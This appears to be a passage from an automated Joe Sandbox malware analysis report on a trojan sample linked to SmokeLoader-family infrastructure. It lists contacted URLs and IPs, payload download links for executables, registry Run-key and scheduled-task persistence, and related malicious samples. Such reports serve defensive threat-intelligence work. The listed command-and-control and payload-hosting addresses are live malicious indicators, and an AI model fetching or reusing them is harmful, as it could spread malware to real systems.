https://radiobridge-egy.com/tmp/index.php	true	Avira URL Cloud: safe	unknown
http://kingpirate.ru/tmp/	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://h168121.srv21.test-hf.su/98.exe	true	Avira URL Cloud: safe	unknown
http://poudineh.com/tmp/	true	Avira URL Cloud: safe	unknown
http://ip-api.com/json/?fields=query,status,countryCode,city,timezone	false		high
http://transfer.sh/get/yAEPpl/gggge.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id14Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	123.exe, 0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp, RegSvcs.exe, 0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id3Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id17Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	RegSvcs.exe, 00000012.00000002.637794131.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000012.00000002.638503159.0000000003280000.00000004.00001000.00020000.00000000.sdmp, re.exe.18.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Responsel	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high
https://transfer.sh/3=	RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.98.58.98	unknown	Romania	9050	RTDBucharestRomaniaRO	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
211.171.233.129	aapu.at	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
211.119.84.112	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
91.227.16.21	h168121.srv21.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true
95.111.233.125	radiobridge-egy.com	Ukraine	51167	CONTABODE	true
84.252.73.140	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
51.210.161.21	unknown	France	16276	OVHFR	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	833784
Start date and time:	2023-03-24 01:25:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@23/21@35/10
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 33.9% (good quality ratio 28.6%) Quality average: 67.1% Quality standard deviation: 37.4%
HCA Information:	Successful, ratio: 97% Number of executed functions: 52 Number of non-executed functions: 33
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, consent.exe, WerFault.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 104.208.16.94
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:26:07	API Interceptor	529x Sleep call for process: explorer.exe modified
01:26:43	Task Scheduler	Run new task: Firefox Default Browser Agent 97DDB6F30BAC6613 path: C:\Users\user\AppData\Roaming\rgrsiwf
01:27:06	API Interceptor	1x Sleep call for process: 72E5.exe modified
01:27:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RegSvcs "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
01:27:24	API Interceptor	2x Sleep call for process: WerFault.exe modified
01:27:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RegSvcs "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.98.58.98	file.exe	Get hash	malicious	SmokeLoader	Browse	aapu.at/tmp/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	aapu.at/tmp/
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	aapu.at/tmp/
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	uaery.top/dl/build2.exe
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	uaery.top/dl/build2.exe
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	aapu.at/tmp/
	V4RcgD2kHJ.exe	Get hash	malicious	DanaBot, LummaC Stealer, SmokeLoader	Browse	aapu.at/tmp/
	1.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	zexeq.com/files/1/build3.exe
	2.bin.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
	file.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	aapu.at/tmp/
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	uaery.top/dl/build2.exe
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	uaery.top/dl/build.exe
	OYm3R777Yb.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	uaery.top/dl/build.exe
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	zexeq.com/files/1/build3.exe
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	zexeq.com/files/1/build3.exe
	yxaLgUlkeX.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	uaery.top/dl/build.exe
	mkmn3YZFn3.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	uaery.top/dl/build.exe
	ePpr7i05gE.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	vispik.at/tmp/
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	zexeq.com/files/1/build3.exe
	Hv26fnHjK6.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	uaery.top/dl/build.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h168121.srv21.test-hf.su	T28YaMAub3.exe	Get hash	malicious	SmokeLoader	Browse	91.227.16.21
	fHjj8OcGaY.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.227.16.21
	V4RcgD2kHJ.exe	Get hash	malicious	DanaBot, LummaC Stealer, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	91.227.16.21
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.227.16.21
radiobridge-egy.com	file.exe	Get hash	malicious	SmokeLoader	Browse	95.111.233.125
	T28YaMAub3.exe	Get hash	malicious	SmokeLoader	Browse	95.111.233.125
	fHjj8OcGaY.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	95.111.233.125
	V4RcgD2kHJ.exe	Get hash	malicious	DanaBot, LummaC Stealer, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	95.111.233.125
	2BZwCfxek7.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	95.111.233.125
	setup.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	95.111.233.125
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	95.111.233.125
	gT5Uqq6LQP.exe	Get hash	malicious	Aurora, DanaBot, RedLine, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	DanaBot, RedLine, SmokeLoader, Stealc	Browse	95.111.233.125
	4q1gdYEeiz.exe	Get hash	malicious	Aurora, DanaBot, RedLine, SmokeLoader, Stealc	Browse	95.111.233.125
	file.exe	Get hash	malicious	Aurora, DanaBot, RedLine, SmokeLoader, Stealc	Browse	95.111.233.125
	aILr0rVvoA.exe	Get hash	malicious	Aurora, DanaBot, SmokeLoader, Stealc	Browse	95.111.233.125
	o9yHH9sxKX.exe	Get hash	malicious	Aurora, DanaBot, RedLine, SmokeLoader, Stealc	Browse	95.111.233.125
	ePpr7i05gE.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	95.111.233.125
	setup.exe	Get hash	malicious	Amadey, Djvu, SmokeLoader	Browse	95.111.233.125

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	SecuriteInfo.com.IL.Trojan.MSILZilla.25629.12905.1460.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	niURCe4yh9.exe	Get hash	malicious	AgentTesla, Eternity Stealer	Browse	208.95.112.1
	HhZ2FJLhRe.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	bKJ7.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	bKJA.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	glzfNGT2uK.exe	Get hash	malicious	ManusCrypt, Nitol	Browse	208.95.112.1
	eYGjolSkCW.exe	Get hash	malicious	Eternity Stealer, RedLine	Browse	208.95.112.1
	DIE5K18SdF.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	04.exe	Get hash	malicious	AveMaria, Clipboard Hijacker, StormKitty	Browse	208.95.112.1
	x63a3bC9GCzb.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	1HYkac8PAl.apk	Get hash	malicious	Unknown	Browse	208.95.112.1
	shipmentDocs9807654.pdf.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	DF15669F7F948ABD95D1A4C326AA0443F0CC534513B25.exe	Get hash	malicious	Njrat, STRRAT, WSHRAT	Browse	208.95.112.1
	Service.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	FiveM-CheatHub.exe	Get hash	malicious	Discord Token Stealer, MercurialGrabber, Orcus	Browse	208.95.112.1
	file.exe	Get hash	malicious	ManusCrypt, Nitol	Browse	208.95.112.1
	bKDP.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	contact_me.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Amadey, ManusCrypt	Browse	208.95.112.1
	file.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
RTDBucharestRomaniaRO	file.exe	Get hash	malicious	SmokeLoader	Browse	109.98.58.98
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	109.98.58.98
	file.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Djvu, SmokeLoader	Browse	109.98.58.98
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	109.98.58.98
	V4RcgD2kHJ.exe	Get hash	malicious	DanaBot, LummaC Stealer, SmokeLoader	Browse	109.98.58.98
	1.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	109.98.58.98
	2.bin.exe	Get hash	malicious	Babuk, Djvu	Browse	109.98.58.98
	oVEilALK1T.elf	Get hash	malicious	Mirai	Browse	109.96.50.3
	setup.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, ManusCrypt, RHADAMANTHYS, SmokeLoader	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, RHADAMANTHYS, SmokeLoader	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, SmokeLoader	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, SmokeLoader, Vidar	Browse	109.98.58.98
	file.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	109.98.58.98
